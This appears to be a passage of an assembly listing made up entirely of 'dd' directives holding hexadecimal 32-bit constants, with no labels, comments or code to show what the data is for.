dd 3786932h, 0C8084FDEh, 0D3290B63h, 0F1D9B37Fh, 1D892B82h
dd 0C4D258C7h, 0BB64F765h, 0BFB9DD04h, 8BAAC1Dh, 0CA286188h
dd 4D1BE606h, 0E00C11BEh, 4C5F2E0Ah, 1E078E12h, 0B9A05609h
dd 2F9A3D46h, 385742C5h, 0F8603EF6h, 1AD721E2h, 8209EB1h
dd 95BFD09Fh, 1C9EE7Ch, 0C655029Eh, 191805EFh, 0BA7A8874h
dd 0E93140D7h, 0A67AF5ADh, 0B989C43Dh, 0BF0F5C00h, 3C3868C8h
dd 2CFA4A7Eh, 435D5137h, 0DFE51720h, 12411D0Eh, 70EB41B0h
dd 901C921Ch, 0DD7E2099h, 2DDA6817h, 0C19ACCBDh, 0EA8BF0C1h
dd 0E5FD735Fh, 6FA5BE53h, 0F81B9F02h, 0DD2D6B4Eh, 542C03F5h
dd 0D8B2E306h, 13452A1Ah, 0ED05E93Dh, 0B3C60732h, 7B9E70Fh
dd 8EE4061Ah, 0D1B47E93h, 1DE4E328h, 82E89AE0h, 5A2B75A1h
dd 0E9D07ADEh, 9D147042h, 4BC260F6h, 40BCD147h, 2D12ECE2h
dd 35391348h, 68EB229Ah, 0E912D3D1h, 12C971ABh, 0A0A7843Eh
dd 5E9D951Bh, 786AC1Eh, 3B7B89B7h, 0FBBB89DFh, 437CAF7Dh
dd 4DD868C1h, 0ACC53E2Ch, 9333EB37h, 9F091881h, 0E95D4604h
dd 0F6F02E2Dh, 0D04765BCh, 8EDC16Dh, 2676575Ch, 0E7CBB292h
dd 482709FDh, 9F29F6C6h, 0D001D172h, 4E73E340h, 0EE0EEB30h
dd 0E90C0B47h, 2C4E6E09h, 5D4A0F90h, 0C987EA0Ch, 679F62C5h
dd 2F7AB81Dh, 3A52A620h, 0AE987FBEh, 782D6C0Bh, 2958B026h
dd 0C8F6D840h, 3ED0FDA4h, 0D4FAF36Eh, 0BB4527F9h, 3F14D183h
dd 0A5AFFD1Ah, 0AF7A44D1h, 87D79FD0h, 0AF514EFAh, 0E909A62Ah
dd 0BBD7DEE7h, 0FDE0DA6Ah, 0CDD72009h, 206884DEh, 3598FE45h
dd 18021812h, 0FDF2D817h, 0F5E8E73Fh, 8E845E4Eh, 82ECA3EBh
dd 5FF532E9h, 38644619h, 13533F4Bh, 9CFFE89Eh, 0D4FACB74h
dd 6A408D5Fh, 13ECC057h, 4F53BD31h, 0E9F0093Ch, 892326A0h
dd 57562038h, 0E3F9938Bh, 536601ABh, 2B2020EBh, 0CCA3507h
dd 2F5078BFh, 0A2766B14h, 3B1F89Bh, 0E2EF6CBDh, 0DCA5012Bh
dd 1F40C365h, 4F62EC54h, 0A2AB670Eh, 65D7E565h, 24121A70h
dd 4FD6D1F5h, 0E8E52E8Fh, 462CEB36h, 30605F6Eh, 5A568C98h
dd 4121782Ch, 293AB10Ch, 202D5DEAh, 5578483h, 5F9CB02Fh
dd 5AEC01Ah, 5C038508h, 83EAF280h, 9D8142D3h, 104150Ah
dd 6859071Ch, 0F7BEBF0h, 6448716h, 4EF4D45h, 2B19DA7h
dd 0D7BAB551h, 0FA300840h, 0FDBEDDFAh, 9FAB5816h, 0F3924B67h
dd 0CDDA8255h, 0E2D20E97h, 0D9DD84EEh, 4AEFF2AFh, 66DA14C1h
dd 9ADDFB5h, 0E671FB43h, 3CC05398h, 4B0580DCh, 0F12500Bh
dd 764C832Dh, 14D5A807h, 291D0A22h, 3A0705F8h, 1B0711D5h
dd 0E6357EF0h, 519E6Bh, 65716077h, 184D4D68h, 4C91968Ch
dd 0DD7E5A5Dh, 46A86BF0h, 0BE580FA8h, 473A13AAh, 6BCE02CCh
dd 0CF02CAB5h, 0BE07E6E4h, 26D474F1h, 16F92470h, 0FD7F9B53h
dd 84086997h, 5F047259h
dd 3E4BD952h, 0A368F6D0h, 0F4E98013h, 3D27CC5Eh, 44E26682h
dd 32AF05D2h, 16B96F18h, 23F0005h, 29687E4Ah, 805D941h
dd 0D58812A8h, 1AE3E2B0h, 0E1465C58h, 0B407F128h, 16C8037Ch
dd 0C012908h, 4F2267ABh, 0F161CF01h, 800C0806h, 5E6BE914h
dd 79CDF34Eh, 4276859h, 28FDEA80h, 0AC3688FBh, 5358440h
dd 95739DBBh, 0F6E2EF50h, 4D5EB697h, 0ABC3C5DCh, 62BE6DBBh
dd 4901D349h, 73BE3213h, 0BE327A61h, 1CDB0175h, 7AE9F8C4h
dd 65A6D07h, 76E8685Dh, 0A7082771h, 0E66229F4h, 935DFC05h
dd 36DA0228h, 28C2CE18h, 586B26DFh, 0F86DED38h, 4B02C21Eh
dd 0D356BCBFh, 0FDFCCA72h, 1E423D51h, 58015AE2h, 90027102h
dd 2950B912h, 95228155h, 0ED000104h, 61173DDCh, 0D035898Ch
dd 0DFD2C01Ch, 9100B9DDh, 67C4680Ch, 72A20C0Ah, 307066C3h
dd 0C0846E5h, 92E91480h, 0DFBF3553h, 5B7D7C8Ch, 48309EDh
dd 105C14E5h, 0BDA4062h, 0CF84207h, 0BD09C3B7h, 0D70983ECh
dd 45DD8F4Ah, 3C2DC02Bh, 104E351Ch, 754BB7B6h, 0A4BF0A23h
dd 6C547223h, 7F776002h, 35DC66h, 4C8BF57h, 0E89533B5h
dd 9F022B9Bh, 8020ED1Eh, 0F0FFB8D0h, 12020670h, 12F75A06h
dd 48F1C903h, 0F9561049h, 212D6EFDh, 0FE92D8Ah, 0F3EB18FCh
dd 562D14DCh, 0E54E7BCAh, 0CA9FAC5h, 0D7C4B4Fh, 0E8710263h
dd 60BD2B0Bh, 3FCA575Dh, 5ED28BD5h, 0D8A44F38h, 0F9F01740h
dd 0CFF63D11h, 2EA97F90h, 46091F51h, 88F9FEC5h, 801E50C0h
dd 0EDCE839Dh, 0DCF5C703h, 20E888C3h, 5A1CE66Ch, 0CA99D130h
dd 3D60C008h, 0A8B33A53h, 0B4E34B93h, 0C667B27Ch, 3532BAB4h
dd 0E28FDF87h, 0FB04066Bh, 8B65BB31h, 0C5611EB1h, 0FF82937Fh
dd 0E477CA4Ch, 0F24F30E6h, 2F88582Ch, 716710h, 0CB49BA52h
dd 709FE585h, 0B567A08Dh, 0B7FF9012h, 80A604Ah, 4C3613C0h
dd 0F9825BD7h, 0BA48F5F2h, 525CC092h, 243F5368h, 909408Ah
dd 310042D2h, 722F6246h, 0FE4FE926h, 3E085493h, 0CDAFA598h
dd 9D831CE6h, 7CE3B509h, 0CDCB00DBh, 0A032EC16h, 121112DEh
dd 0A1011B23h, 0E9080057h, 399760D6h, 3FF05107h, 0DE67CBD7h
dd 25AECC77h, 731828A0h, 6A9F6F69h, 5EE8DDBEh, 0B0842ED7h
dd 5174074h, 65341B0Fh, 0D4D25F71h, 4CC195DCh, 0F30364E3h
dd 0A379D518h, 98E9800Bh, 2598F5F0h, 7047762h, 2C23687Bh
dd 643542E3h, 0EA95081Bh, 91AE5616h, 8F9DF9DDh, 8C02EB69h
dd 0FA0772DBh, 62F16426h, 0A0B0FC5Ch, 0B943B468h, 0CC2ACECh
dd 28C62F4Ah, 5DDB84BFh, 0C14AD7F3h, 5D0389EDh, 20D43B9Eh
dd 771EBB81h, 525D5F00h, 42685100h, 597A7D6Dh, 0B5E150C1h
dd 0C524606Ah, 0EF46E5BEh, 0CE816D0Fh, 3657A139h, 0E9ECDEF7h
dd 99D695E7h, 755B5442h, 0A681129Eh, 0DCBE02DEh, 2C62A7F4h
dd 0BB05EAE6h, 331B6141h, 454AE5BEh, 0BD74C066h, 46E1DD2h
dd 675A927Ah, 125618Ah, 0F3685017h, 442D505Dh, 250E545Fh
dd 0E502BB7Bh, 40624E7Ah, 2557FE99h, 83F43060h, 236EE904h
dd 32D30D01h, 57A06F63h, 9554C01h, 2DC6E22Bh, 4745E6D4h
dd 1AB820D0h, 63820D27h, 0FC0B3EBAh, 469FD1CAh, 69583039h
dd 1512CDCFh, 81817B3Ah, 3D3A6D26h, 84E7C1E9h, 0CD39E2FEh
dd 0C73F1D7Ah, 0A2382ABh, 0A10BC2E4h, 0F654471Fh, 50013B09h
dd 0B1E914DFh, 5C317AAAh, 0BD2BF7CFh, 23037252h, 5FA8801h
dd 52958908h, 24E92E60h, 0C07158CCh, 3E8D1929h, 0E91046BAh
dd 1F5F8CB6h, 4CC49099h, 0D097402Dh, 0C1C7FD6Fh, 4FE52B91h
dd 71F613EDh, 0E0239F07h, 0A6805A3Fh, 5389AA4Ah, 0CBC7F554h
dd 0E086E989h, 4BC78049h, 4B8DF3BBh, 0A0AAD984h, 0A39028E4h
dd 92068A6Ch, 3741C6A3h, 560B76B0h, 5B113468h, 81410469h
dd 0D34CC039h, 5A4BF13Eh, 0A4547380h, 82FC9F5Bh, 2D8047ACh
dd 2AE94136h, 0FAD197ECh, 5FFCD14Dh, 0A7C4BDE3h, 0E366792Ah
dd 1002EE4Ch, 6809F394h, 6454312Dh, 5DE8D762h, 528F4AD3h
dd 0E59FC450h, 0AED338E8h, 7019C88Ah, 3FBDF586h, 0B82E00E1h
dd 0B9E9E114h, 47B922Ch, 0A556DDF7h, 0D994B148h, 6CF7C2CEh
dd 313CBA92h, 0CCBDB294h, 0AD4BBE3Dh, 93A1FB47h, 65871750h
dd 0E044BAA8h, 81024561h, 37F97F6h, 0E9F329CCh, 0CE6E6BCDh
dd 31522F26h, 0B27A5A63h, 96C8D601h, 0A9789559h, 2FA7BA6Fh
dd 15DAB68Bh, 4930680Bh, 0E9423653h, 0BF6CD864h, 0D1842D15h
dd 60FB40E0h, 2D5DE810h, 0FEDB0C0Fh, 0FCC28945h, 0F8CE0893h
dd 0CFBB5F16h, 5849259Bh, 72F3953Bh, 945108Bh, 0BE361026h
dd 0C7C5CE5Eh, 0FE3625E5h, 9D147264h, 2ABAB01Ch, 1F4B2D38h
dd 0A21E0ED6h, 0A216DF65h, 92FEE0B7h, 34B12762h, 871CD1D3h
dd 42FC79ADh, 0D7096853h, 8EC82E81h, 0F7C24384h, 0A03BC194h
dd 71090553h, 81897C9Ah, 3E4C72C7h, 84E4ED2Bh, 5F8C6817h
dd 313A32FBh, 1E253F7Ch, 85049ADAh, 86C2F7Bh, 24CA4E59h
dd 0B48CD0C0h, 16C2EFF9h, 0FF5A0A8Bh, 2B58B98h, 68381C1Fh
dd 1B467AE8h, 584EF5BAh, 0E7BFCDC5h, 5DD42DFh, 6E18683Ah
dd 2766EB9h, 0E9793455h, 0C6C41E08h, 0BD414C3Eh, 3838A63Ch
dd 59CB3184h, 3FD44783h, 0AD98E079h, 0C72D0E6Ah, 56AB6813h
dd 63DB5701h, 0B57A1766h, 74080436h, 6831AE98h, 5D2A0BA9h
dd 991BCBD5h, 649067C4h, 84C8EE5Dh, 9BBC1CF1h, 0DF0C9698h
dd 0C2607F82h, 0B6727A32h, 0C22E809Fh, 604926F1h, 0A2D0C77h
dd 0E9132506h, 7A8945B8h, 0D181A82Ah, 0AD5710A7h, 3CA28924h
dd 79139A70h, 59CD2F58h, 0E10B83D6h, 2F83C88Ah, 21C13046h
dd 6E5BCA7Bh, 2EFA3Bh, 0C74864F2h, 5A95E9FFh, 16ECA7D3h
dd 0B2577168h, 0DAA112F8h, 0F25D037Eh, 60ABD9CAh, 98455BC2h
dd 1231F8BDh, 0C0D57DCFh, 4F0A9601h, 0EA4E09F8h, 0F40D4546h
dd 0F7401ED8h, 0B3A608D0h, 0B70B5B16h, 0C44476FDh, 3A8FC50h
dd 8B0B3E05h, 7C371208h, 0C29B40D5h, 7D7061E2h, 10D25E52h
dd 6809BCEEh, 0B4F72265h, 0C7CE9753h, 0EEC99097h, 0D7C28242h
dd 0B4C2BA84h, 0EDE687BDh, 0FEC71E4Bh, 0AE04D003h, 67E92F3Bh
dd 58A2A075h, 411A280Ch, 35FCF901h, 92E678CBh, 8627100Bh
dd 17987BB4h, 1D1170A8h, 5EC45068h, 4CC551ADh, 0CEA9F8ACh
dd 9281B3D7h, 0BE00A9ADh, 0FF0927D2h, 5E6C13Bh, 0F6B8B5EDh
dd 125CEC4Fh, 6789F092h, 0AFF89693h, 92964729h, 57B36116h
dd 0E79A483Fh, 3496101h, 0DA591E2Dh, 5087E9DCh, 13236A3Bh
dd 77CAC0Fh, 0B7AF870h, 47DE45FDh, 1BC7492Ch, 9B9DC3Fh
dd 7761BE68h, 28CBB39Eh, 0ECB07F58h, 4ABFC040h, 0E5B60FCh
dd 0FA28E41Ch, 54E297B0h, 32F6B25Fh, 0CFE65781h, 21C6816h
dd 3816FBF3h, 0CD4ECC4Ah, 19D8CA4Ah, 0D2105F58h, 0FDABD4FBh
dd 41E0BA55h, 0FE7212F4h, 0B8194C04h, 1240FFDEh, 0B1050FEAh
dd 9EDFEECh, 35465513h, 51087156h, 0FFFA9416h, 0BDB63F16h
dd 0C1C23C75h, 0F02FC0D9h, 954F610h, 0F4B8DF84h, 671F9309h
dd 80AE7D42h, 0E01D076Dh, 9F160264h, 0DDF82988h, 0ADB2C630h
dd 6398273Dh, 79DAEE04h, 0D8FE05ECh, 9C4DE9BBh, 0F45D2D59h
dd 1F0124BAh, 337E808Ah, 3E15B951h, 0E90E9104h, 8590A1FBh
dd 607242DDh, 675B2057h, 9F2884h, 2485E136h, 0E975096Ah
dd 83E803F5h, 5881F204h, 0D4BCB52Eh, 0FF4A16AEh, 0C0D44BAAh
dd 0B7686623h, 0B4A3ACC4h, 199900EBh, 4B7B6366h, 2CE750B5h
dd 0AC29339Eh, 2B42043Fh
dd 2CDF8659h, 5C521406h, 82E436Eh, 60D9E9DBh, 60FE5F16h
dd 553D685Ah, 1785539Dh, 0FEEAA4EAh, 0B9D5C89Fh, 8E8DB486h
dd 306E6CE2h, 49050FBFh, 2E1FB1EDh, 0DD050FBCh, 0DD53546Dh
dd 0B40D4040h, 7F4AB84Fh, 8B110BFh, 0B40CFC5Ah, 5B9D8FEFh
dd 41FF27AEh, 2F3A6168h, 9CDF28B9h, 30772F2Bh, 83E385BCh
dd 0EFA9FDA9h, 48E68EE4h, 80E2205Eh, 0C0144788h, 3EE8C7FDh
dd 6B905CA6h, 3CE36FEFh, 80535DC5h, 0C53D0773h, 0F5BB4E0Eh
dd 54E53E98h, 79F38449h, 0C680BA12h, 9A84E955h, 0D058BDA2h
dd 0E29F24F0h, 0E2345F9Ch, 487D7A20h, 87256752h, 4F20CB94h
dd 6C6816A8h, 0C1A2BC35h, 0DC7F54B9h, 0A8B94121h, 28BF1201h
dd 62D58955h, 928D18E3h, 97403141h, 3AFC6246h, 739D3B70h
dd 768A3145h, 0D7A16DD0h, 556A45EFh, 0F7B5AC25h, 0E6E8ABF2h
dd 4A63A0D4h, 40D52574h, 312D43F0h, 0C01AFEFEh, 0E30123F6h
dd 9F55448h, 82F82C3Fh, 5CBECF21h, 0A756240h, 76C8F120h
dd 81565F2Eh, 7045BE3Ah, 5C9729A2h, 430502B6h, 32567890h
dd 8E1DAC4h, 0BA0D6C2h, 0B26610A7h, 0DF52E8FFh, 82AA24D2h
dd 4800022Fh, 970B5BD4h, 682DEDDCh, 0E153D0DDh, 0B7D3982Eh
dd 0F297087Dh, 0E568CECFh, 8449F232h, 0AC0934C3h, 0F2293AD8h
dd 0B3DBA67h, 0D93DB853h, 0DBC9622Dh, 0DAC08804h, 75010B5h
dd 0E5283AB4h, 0C7D50558h, 0C75A851Ah, 8E9C21Bh, 683E3750h
dd 0AE47621Dh, 8ED071DCh, 4CAB4F7Eh, 0CF817EF6h, 15B17830h
dd 80220D70h, 9BA2D828h, 738B095Dh, 808D9618h, 76446844h
dd 274FF53Dh, 0B3038045h, 1FB7536Eh, 138FB189h, 0FB65851Bh
dd 0B6CEBA8Ch, 0F468252Ah, 7B0A6122h, 0D4F06842h, 78D1E989h
dd 0C0B0BF24h, 0DB9D01E0h, 4292BD43h, 56FE40AAh, 0A2174EBEh
dd 0A5BB5209h, 0BE82DD0Ch, 0C6F7FA44h, 0C77120BEh, 0CE30E5A0h
dd 1654B480h, 0FB87CC80h, 0E12D2B20h, 11102541h, 2507D488h
dd 0E93C3075h, 12F69E91h, 7FBAB053h, 1810740h, 390A1FC2h
dd 20EA0149h, 5A024694h, 21E96563h, 0C0D8A0CFh, 0F4725655h
dd 6A734109h, 265647A9h, 1CA01E10h, 519D4E66h, 0F5FB904h
dd 0C1024C82h, 1D33C12Dh, 0BAA45431h, 5AD2F023h, 0C4CEF0C7h
dd 57C77D09h, 5632E98Bh, 1455255Dh, 0F83A5A15h, 38BA5EA2h
dd 0E8820193h, 80BF0F96h, 5790C380h, 72FBEB2Fh, 9052EA85h
dd 0EA755E68h, 0C012152h, 4DF032BEh, 3E606561h, 830D94D0h
dd 2ADA1EE4h, 0A4661FD9h, 123C356Fh, 8BFDE290h, 9E48C8DEh
dd 8CAE5E2Fh, 0E1FB5402h, 0DE64CC0Fh, 932C6526h, 2C018822h
dd 4417286Eh, 0FFB17368h, 2617C220h, 13CFC0Dh, 0AE6A33EFh
dd 70CFFD47h, 68805782h, 0CD725FA9h, 0F4B907A3h, 64FE578Ah
dd 0B980D006h, 0E91362F0h, 72ADEECBh, 0F312D81h, 0F8BF60DEh
dd 5F070550h, 0E8205997h, 94E961FBh, 0D6A73B7Ch, 39B97560h
dd 334CF253h, 7E6A0741h, 0E9677DC5h, 6FC35581h, 5FE8B2FFh
dd 5E7D2A2h, 0A8F7E684h, 6DBDF5B6h, 0DF596218h, 0F5722C58h
dd 56309E2Dh, 3FDB42CFh, 0A04DD0F9h, 96C68C20h, 0DF290126h
dd 605FFB87h, 0C1745BCh, 31C51026h, 3802A685h, 6036213Dh
dd 0CBADFC5Ah, 900C337h, 4D443CB4h, 69FDFCB7h, 383C8E0Eh
dd 0E1ABFC5Fh, 0BA07A5CEh, 20C036F8h, 0C0B70F12h, 2D12EF08h
dd 0E9783AF6h, 110B699Dh, 862070FAh, 0B4665F75h, 6B40FCCAh
dd 0FF30EB9h, 0CD410629h, 0FC505859h, 3A9AAE17h, 0B5EBF29Dh
dd 0DEFEFF64h, 76934A5Bh, 0D0999CA1h, 1C63ED6Eh, 0FD2D651Dh
dd 32D71E32h, 78E7D7F4h, 0E9055F25h, 5C84444Ah, 0A5DBAD21h
dd 0D7B8AAAh, 10DEEFE9h, 5C999540h, 0D464E36Ch, 30035F8Bh
dd 3364E952h, 25BDA09Dh, 5AFE046h, 0F51654BEh, 0D312AB21h
dd 140584B0h, 0CC681392h, 82E9D00Bh, 0E425B4AFh, 4161EF2Bh
dd 356FEC45h, 6437EEF6h, 9DFF50ACh, 0FE9D42CEh, 400BC970h
dd 5012C0F1h, 0C1F49CE9h, 57102FBh, 2004E1BAh, 0C891C0FFh
dd 92E5EFA0h, 0CEBA56F3h, 0C8335E1h, 54C4130Bh, 4C75EBA1h
dd 30594E64h, 4FEDE970h, 10BC3BE1h, 0B16EF1h, 57D8805h
dd 0C8015B42h, 6007142Dh, 8016F420h, 0CE0F43F6h, 4E04645Ah
dd 9FA930EFh, 617D9B1Ah, 5FE57227h, 8B8BFD1Ah, 0C9907EF2h
dd 0F1198F66h, 4D78494Ah, 704D6547h, 0E2D81ACBh, 0C96A599Dh
dd 0E9CC18F5h, 4DEE4AFBh, 203973A9h, 0B1FCF2ACh, 7B95E1B2h
dd 0D2F3EC0h, 7D6751E8h, 9F7649CAh, 49015996h, 9248585Ah
dd 13E6002Bh, 21759D1Dh, 0E238409Fh, 77319CBh, 82E3F064h
dd 0D7296526h, 2B0CC05Ah, 0F231FE72h, 0A3C7F0F7h, 0E60C0508h
dd 0C9695853h, 9584451Fh, 8BDDAECEh, 0B14FA9F4h, 0D00A4BAEh
dd 96CCADFDh, 18914A25h, 8035D0A0h, 381696BAh, 23BB544Dh
dd 81884AC5h, 1F0C57F2h, 0E4274C6h, 7266354Bh, 9005AEC8h
dd 0C7E4CAFDh, 0A471294h, 0ED92E051h, 565E08A0h, 122E92Dh
dd 7CE4804Ah, 0B520C4CCh, 1A09DD02h, 1402FF09h, 0D35DC85Fh
dd 0F1973DA5h, 205B473h, 0F78CF35Eh, 0BFAE7F68h, 37E96898h
dd 5817F89Eh, 0E44A4B8Bh, 75314A3Ah, 5727302Eh, 5E7EBF00h
dd 2EC5E451h, 6C00DFE7h, 25114679h, 0C90012A3h, 2DD8F728h
dd 0ECB7FF7Dh, 0C3F524E9h, 60B8891Ah, 4E8847F1h, 2642CC4h
dd 58E388D2h, 868B6EE0h, 0C2FED319h, 8841D008h, 4000E21Fh
dd 0B0FABA05h, 0D5011825h, 5045414h, 3FB05B82h, 0B9587AD1h
dd 0BE725F03h, 2D08C760h, 130D3B89h, 0F1F3E933h, 0CB472024h
dd 0C0D0BA5Ah, 904347C6h, 0F72D28F0h, 713C090Bh, 2E003F56h
dd 669B7F84h, 1E1E910h, 1A745C2Dh, 0F10A8A6Fh, 0FB2D4087h
dd 6860D9C0h, 69065B25h, 2EEED97Eh, 0E917348Bh, 0A5D1BA0Ch
dd 51216C2Eh, 76710C80h, 0E5E94E67h, 0BD3F9E9Ah, 5D6A030Dh
dd 0F879F581h, 74E90FABh, 3EE79F54h, 0D232133Fh, 5981F9A8h
dd 3B57AA68h, 2DC0D7E2h, 7DE064F0h, 87DB40B7h, 25DE9DC6h
dd 0B575254Fh, 802175FFh, 7EC6800Ah, 13DEEE6h, 0D6097EFEh
dd 0FA0DB2E9h, 2FC578DCh, 2E70AABh, 444D133Fh, 0EB7CE1C9h
dd 7C55E05Eh, 6AD93A12h, 0DAF44FE1h, 99D4B756h, 952069A8h
dd 6968122Fh, 86ECCC4Fh, 44C40F00h, 6A83CF81h, 0ED2D4B87h
dd 685305FBh, 182064D0h, 7883B804h, 72FB4837h, 0C2D9D227h
dd 6AB7D1A5h, 7FE01878h, 85910ADBh, 0FED5B480h, 7FEC80CCh
dd 143BDC60h, 8A39FB28h, 0A00CF2CBh, 9834CC80h, 8412021h
dd 0D1D2C92Fh, 0D1F0A5EDh, 0FB76B925h, 185B0B72h, 0BAF6B9CEh
dd 411F85BFh, 23AA57C0h, 97020C7h, 0F10581F4h, 7DEF27F2h
dd 7D56D6C2h, 65B1C1Bh, 705B78AFh, 0FAB52D92h, 9DD14C18h
dd 42A34177h, 0FF7605DDh, 0DCE5DCBEh, 0ED41EE90h, 4900F0FDh
dd 0FCBFD1F7h, 7344FD0h, 0F642AE98h, 0C9CF2524h, 501E710h
dd 3464119h, 0F6622029h, 7CBF7570h, 0B1F242A8h, 0E1811D68h
dd 0AD25FB0Bh, 0D1C1425Ah, 3895825Dh, 0C54043AAh, 87582299h
dd 9BE50259h, 0D623FB13h, 0E07664D0h, 527C5B31h, 190D1031h
dd 4B035ABEh, 642E8EB1h, 1B123F41h, 39AE76ACh, 507080A9h
dd 0C1724911h, 0E9050BE5h, 22E4EB84h, 55534FA0h, 12685602h
dd 0C17A3F69h, 80CE619Dh, 35058A21h, 0E8CABD7Dh, 43AC3695h
dd 61754D00h, 0AC9817Bh, 79DE5FFFh, 7C843BBBh, 133538h
dd 346E602Ah, 0E9CD1629h, 8A0549A7h, 88021381h, 66089454h
dd 898112FEh, 0F660F4CBh
dd 0FB0429B6h, 0E9182C17h, 119CDF16h, 3B432568h, 4A5BA0DCh
dd 7666CBD5h, 0E1C30680h, 0E81C55C2h, 58A148B7h, 0C8769552h
dd 0BC9AF62h, 0EDD4A3D7h, 0FE1000CDh, 0BFB252C8h, 87DE2C0h
dd 0CF5C4030h, 0F238E068h, 8AF259DEh, 77F3BC27h, 0D305AA1Dh
dd 0C6804A37h, 8EF2D68h, 0CDC3E957h, 0D92CAF26h, 2FD48908h
dd 7E250456h, 0A8C28CEEh, 0CE003058h, 80C6FE59h, 0C72CDAF6h
dd 4904F0E4h, 1AA048F5h, 0AB99D77Ah, 9EB4D627h, 0B005FB14h
dd 0FE381075h, 0CEFA15C5h, 31D131DBh, 0AB73875Fh, 4D4A663Dh
dd 8623C09Fh, 2C7831Bh, 532527D2h, 417244FEh, 0BF00585Eh
dd 0C86338DDh, 0A00DCF76h, 5C16D91h, 0D7E907E7h, 6073A7B3h
dd 95EF8107h, 3033F4E2h, 0E9BDFB31h, 0EBA80EE4h, 7D171768h
dd 0C2FC0298h, 55483401h, 0F4142D79h, 250169E0h, 40774EB9h
dd 4CDB3CE9h, 0A940576Ah, 0A65058D1h, 5955B04Ah, 481879B7h
dd 0EE4708D2h, 25C113BBh, 0EF93D4A9h, 5327B99Bh, 0A7588574h
dd 5C790B46h, 3A78CD87h, 0DE51ACA0h, 0C5F23180h, 64909C6Ch
dd 0B1B9BC28h, 0BC04F7B6h, 540BF542h, 0D81CF7C5h, 0E6A6B027h
dd 49A9F2E7h, 0B90927D1h, 0A08910EDh, 0FC9FA6F0h, 55E9D860h
dd 9AA26B5Bh, 4030502h, 4A740901h, 0EB1C7F2Dh, 9892D4B5h
dd 9DB3A4F8h, 5508858h, 306EC180h, 7DC15CA1h, 0A34A874Ah
dd 4CAAD69Dh, 64E480DFh, 0E580A4ABh, 7E1FB753h, 0EF84DFF6h
dd 4286C0BDh, 0B4500F10h, 41230BAh, 0EA5BFD5Ah, 4F2FC22Ch
dd 863D8C78h, 2588AA40h, 2FDC5AF4h, 7EB42632h, 34025BC7h
dd 0AC26CBBBh, 0A70D60F6h, 1F182D3Ah, 0D1A287F0h, 270B9408h
dd 5625C9D4h, 5CA0507Bh, 51E1C180h, 5C6F008h, 0DD72C059h
dd 3E7C7B36h, 0FCD2A22Ah, 0B54FEA7Ch, 0F8D3EAACh, 7CCD0496h
dd 84FE03FFh, 120714C8h, 61084506h, 0D30B0C70h, 0FC4D7338h
dd 35BC08BCh, 0A498050Eh, 84BA6F90h, 0E907023Fh, 3354D72Eh
dd 0E202DC7Ah, 5D092354h, 0ED3E79C4h, 1EDF12AEh, 805B9A5h
dd 0E96120EFh, 0A897D16Fh, 0FB09A7CDh, 70B18663h, 10EEEA47h
dd 3F4C0FBEh, 0A76E2A5Bh, 7D3E6813h, 0E9B181E8h, 1AEC2A15h
dd 79DBC03Dh, 39D03F32h, 64FF7986h, 17209464h, 0E673C1BAh
dd 0C9962C6Bh, 8BA6271Bh, 58175D89h, 202DBA6h, 7BAFF8E9h
dd 5F183D37h, 0EBC00A9Bh, 20682F7h, 62A2F380h, 7264FF20h
dd 114B420Bh, 4C6BD51Dh, 67581131h, 6BCB7DE9h, 1B4C82F9h
dd 681D0661h, 0A0284A6Dh, 0AB6C0DEh, 7B692DB9h, 2952DF01h
dd 0C66E9F8h, 3AB4288Bh, 0C60AA255h, 0B0869811h, 0A8664E1Dh
dd 74C84818h, 8B9F04Bh, 8BCCE987h, 3F713048h, 1548382h
dd 4859D24Ch, 82EC0F48h, 0A89BF006h, 3C35BB04h, 0C3A84FEDh
dd 34619F50h, 0FF340C3Eh, 5A084A10h, 708978BDh, 0E604C7F2h
dd 23A16619h, 2F13F5BBh, 0C8C71244h, 0BBD02904h, 5381FD24h
dd 0A32A812Bh, 3C381041h, 1F93B807h, 9541792Dh, 0CF49705Dh
dd 34581775h, 79352F95h, 29D52DBBh, 612A5EE8h, 88091368h
dd 0BCABBEBh, 6800C780h, 3AB551D7h, 0CE0CEDF0h, 0C9ABE0E9h
dd 195C0FF5h, 0F464463Fh, 0F8E81EB1h, 1C30A12h, 101FC4BBh
dd 2426B608h, 0D3098B60h, 0E8C43182h, 8FA71857h, 61BE2C5Dh
dd 20CA6E1h, 20D13884h, 0C5CDE40h, 17C4F08h, 970820FDh
dd 0CEC5ACCAh, 5FA4322Dh, 317F961Ah, 0FFFA36C0h, 0DD75072h
dd 850042F8h, 0E2D12DEBh, 8302DAF7h, 4E901EAh, 0DEEEDFAAh
dd 0DA5D5497h, 0FE20F64Eh, 23F09FA6h, 0A4DD28E3h, 76DFB9C2h
dd 6BC52710h, 578A5D12h, 29CF324Ah, 200B0AF9h, 64FE2DBCh
dd 9DC1F6E0h, 0BA75E112h, 0CBD6D66Dh, 2BF74C4Ah, 88E706B2h
dd 99E527C5h, 59D32D1h, 93F9B760h, 5B60C107h, 45B16DE5h
dd 0A4E9DB00h, 0A82E9DCCh, 1D8339E4h, 9E0BD6A8h, 0C0425778h
dd 17BD557Ah, 710EE05h, 355DE9D2h, 8C2DEFC8h, 80B07F20h
dd 1AEEF12Ch, 0BF0E2760h, 7E44495h, 5FFD314Dh, 33254668h
dd 0F389EB25h, 0AC40097Fh, 7C97BAF5h, 0EF92D6Fh, 737DC240h
dd 0FE795BF9h, 27089410h, 69B0795Bh, 6813D796h, 5B375990h
dd 0E851A881h, 0EE6C9C89h, 0FDE4D254h, 0EEC0EAD4h, 26282BB5h
dd 4404663h, 0C1D7D44Eh, 29ACFC1Fh, 472D00CEh, 0E3810F6Ch
dd 0F52C1321h, 5BD80171h, 8230EE2Bh, 5C77900Ch, 0D77A002Fh
dd 52CE1620h, 40169CA4h, 84097B9h, 1A992AE9h, 6688C1D8h
dd 7EE59B35h, 0C8BEDFC4h, 0AE5DE9DDh, 39BE5F67h, 683148E7h
dd 5E1CBA27h, 5C5B51D1h, 0CD403EF0h, 304C4F68h, 3C2BAEFh
dd 814A1C00h, 0F6662CEFh, 6150BD21h, 5AF2114Dh, 0F5A704AEh
dd 5EFDF852h, 0AD1638E6h, 0F787BC4Ch, 0C0B002F4h, 0A71B729h
dd 0D49FD120h, 0F0039723h, 16BF508Fh, 51252072h, 8BF83017h
dd 2B1239AEh, 0B2943AD8h, 68169536h, 0C557B526h, 0D606E43Fh
dd 0C8915EC4h, 25D5685Ah, 99F9F5C2h, 2310574Bh, 1BEBF7Eh
dd 0A22D8469h, 29BCAEFh, 0A145E3C3h, 68EDC119h, 0D3894AF9h
dd 0D5E4D797h, 2D917D95h, 0BA28FBDBh, 0D62BC020h, 8F44AC26h
